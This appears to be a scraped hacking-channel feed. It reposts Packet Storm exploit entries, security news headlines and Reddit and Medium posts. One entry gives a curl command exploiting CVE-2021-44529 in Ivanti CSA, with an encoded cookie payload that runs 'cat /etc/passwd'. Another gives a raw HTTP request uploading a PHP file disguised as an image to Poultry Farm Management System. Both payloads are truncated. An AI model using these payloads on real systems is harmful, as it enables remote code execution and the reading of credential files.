Exploit Collector
Ivanti Endpoint Manager CSA 4.5 / 4.6 Remote Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Ivanti Endpoint Manager CSA versions 4.5 and 4.6 suffer from an unauthenticated remote code execution vulnerability.

MD5 | 59d3bc20720bd412425b82923627b636

Download
# Exploit Title: Ivanti Endpoint Manager - Cloud Service Appliance (Unauthenticated Remote Code Execution)
# Date: 20/03/2022
# Exploit Author: d7x
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6
# Version: CSA 4.6 4.5 - EOF Aug 2021
# Tested on: Linux x86_64 # CVE : CVE-2021-44529
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz):
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite 7.10.5 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xlight FTP 3.9.3.2 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Poultry Farm Management System 1.0 Shell Upload

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png Poultry Farm Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 7104f993bb5fb789519041690c5bd132Download # Title: Poultry Farm Management System 1.0 Remote Code Execution (RCE)
# Author: Hejap Zairy
# Date: 20.07.2022
# Vendor: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files

```php
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"profileimages/".$_FILES["productimage1"]["name"]);
$sql="update tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /Redcock-Farm/farm/update_image.php?id=2 HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/Redcock-Farm/farm/update_image.php?id=2
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ICT Protege GX/WX 2.08 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ICT Protege GX/WX 2.08 Client-Side SHA1 Password Hash Disclosure

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
ICT Protege GX/WX version 2.08 suffers from a client-side SHA1 password hash disclosure vulnerability.

MD5 | f76c2764154deda7e495e4c51aad1032

Download

ICT Protege GX/WX 2.08 Client-Side SHA1 Password Hash Disclosure
Vendor: Integrated Control Technology Ltd.
Product web page: https://www.ict.co
Affected version: GX: Ver: 2.08.1002 K1B3
Lib: 04.00.217
Int: 2.3.235.J013
OS: 2.0.20
WX: Ver: 4.00 284 H062
App: 02.08.766
Lib: 04.00.169
Int: 02.2.208

Summary: Protege GX is an enterprise level integrated access control, intrusion
detection and building automation solution with a feature set that is easy to
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
web-based, cross-platform system that gives you a fully functional access control
and intrusion detection solution in a fraction of the time of conventional software.
With no software to install, setup is quick and simple. Connect the Controller and
system components, then open a web browser to launch the intuitive wizard-driven
interface which guides you through the process of configuring your system.

Desc: The application is vulnerable to improper access control that allows an
authenticated operator to disclose SHA1 password hashes (client-side) of other
users/operators.

Tested on: Microsoft-WinCE/6.00
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5700
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5700.php
08.02.2022

--
Navigate to http://CONTROLLER_IP/operator.htm

Source:
Password

...
...

...

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
White House Warns of New Intel on Russia Mulling Cyberattack 'Options' Against US

Biden administration doubles down on its previous warnings of possible Russian cyberattacks in the wake of hefty economic sanctions imposed on Russia by the US.

Dark Reading: Attacks/Breaches
'Unique Attack Chain' Drops Backdoor in New Phishing Campaign

A threat group combines the use of steganography, open source tools, and Python scripts to target organizations in France.

Dark Reading: Attacks/Breaches
Binarly Coordinates Patches for 3 Firmware Flaws With Dell

The latest three memory corruption flaws in Dell BIOS highlights the challenges of fixing firmware vulnerabilities.

Dark Reading: Attacks/Breaches
ForAllSecure Raises $21M to Secure the World’s Software

Strong demand for application security that supports DevSecOps initiatives drives investment from Koch Disruptive Technologies and New Enterprise Associates.

___________________________
@hacking_Attack
@Hacking_Video

Help cracking registry dumped hashes.
https://www.reddit.com/r/Pentesting/comments/tjr3qr/help_cracking_registry_dumped_hashes/

Need a little help. I am doing a controlled pentest and its my first time. I have dumped the registry passwords one being a domain administrator. I have the hashes in the 3 files but I am not sure how to use impackt or other tools to Crack the hashes for a password. Any insight would be great! submitted by /u/Upstairs_Lie_9379 (https://www.reddit.com/user/Upstairs_Lie_9379)
[link] (https://www.reddit.com/r/Pentesting/comments/tjr3qr/help_cracking_registry_dumped_hashes/) [comments] (https://www.reddit.com/r/Pentesting/comments/tjr3qr/help_cracking_registry_dumped_hashes/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Penetration Testing guide for Muggles (cause once you know, it’s magic..)

Hi, I am Prashant. This is my first blog on medium. I hope you guys will enjoy, if you find something missing, you know where to go…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
None

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Top 100 Hacking Tools.

Burp SuiteContinue reading on Medium »
Read more...

hacking: security in practice
Hello security profs, I like to make things in python and c# in my off time, what are some tools you wish you had but lack the ability to make yourself that would make your profession a smoother transition?

Your suggestions also aid my capstone ideas for school. Please no suggestions in breaking things, its not my forte.

submitted by /u/inert-
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video